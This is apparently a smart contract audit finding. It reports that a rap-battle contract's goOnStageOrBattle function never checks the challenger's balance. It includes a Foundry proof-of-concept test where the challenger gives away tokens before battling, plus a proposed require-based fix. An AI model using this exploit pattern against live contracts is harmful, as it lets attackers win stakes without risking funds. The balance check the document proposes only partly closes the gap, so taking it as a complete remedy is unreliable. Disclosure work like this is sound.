Summary
The goOnStageOrBattle
function in the contract lacks a balance check for the challenger when there is already a defender in place. This omission allows challengers to participate in battles without verifying if they have sufficient funds to cover the bet.
Vulnerability Details
In the goOnStageOrBattle
function, the logic for handling cases where a defender is already present does not include a check to ensure that the challenger has an adequate balance to cover the bet. Without this check, challengers can initiate battles without having the necessary funds, potentially leading to unfair or inconsistent behavior.
function testPoc(uint256 randomBlock) public twoSkilledRappers {
uint256 initialUserBalance = cred.balanceOf(user);
uint256 initialChallengerBalance = cred.balanceOf(challenger);
console.log("initial balance of user:", initialUserBalance);
console.log("initial balance of challenger:",initialChallengerBalance);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
cred.transfer(address(user), 2);
uint256 ChallengerBalance2 = cred.balanceOf(challenger);
console.log("new balance of challenger:", ChallengerBalance2);
vm.roll(randomBlock);
vm.recordLogs();
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
Vm.Log[] memory entries = vm.getRecordedLogs();
address winner = address(uint160(uint256(entries[0].topics[2])));
uint256 newchallengerbalance = cred.balanceOf(challenger);
console.log("final balance of challenger", newchallengerbalance);
uint256 newuserbalance = cred.balanceOf(user);
console.log("final balance of user", newuserbalance);
}
Impact
Allowing challengers to bet without risking their credToken creates an imbalance in the gameplay dynamics. This scenario incentivizes users to participate in battles without any real consequence or risk.Defenders can lose their bet to challengers who have not staked any actual tokens.
Tools Used
Manual Review
Recommendations
To address this issue, it is recommended to implement a balance check for the challenger before allowing them to proceed with the battle
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ require(credToken.balanceOf(msg.sender) >= _credBet, "Insufficient balance for bet");
_battle(_tokenId, _credBet);
}
}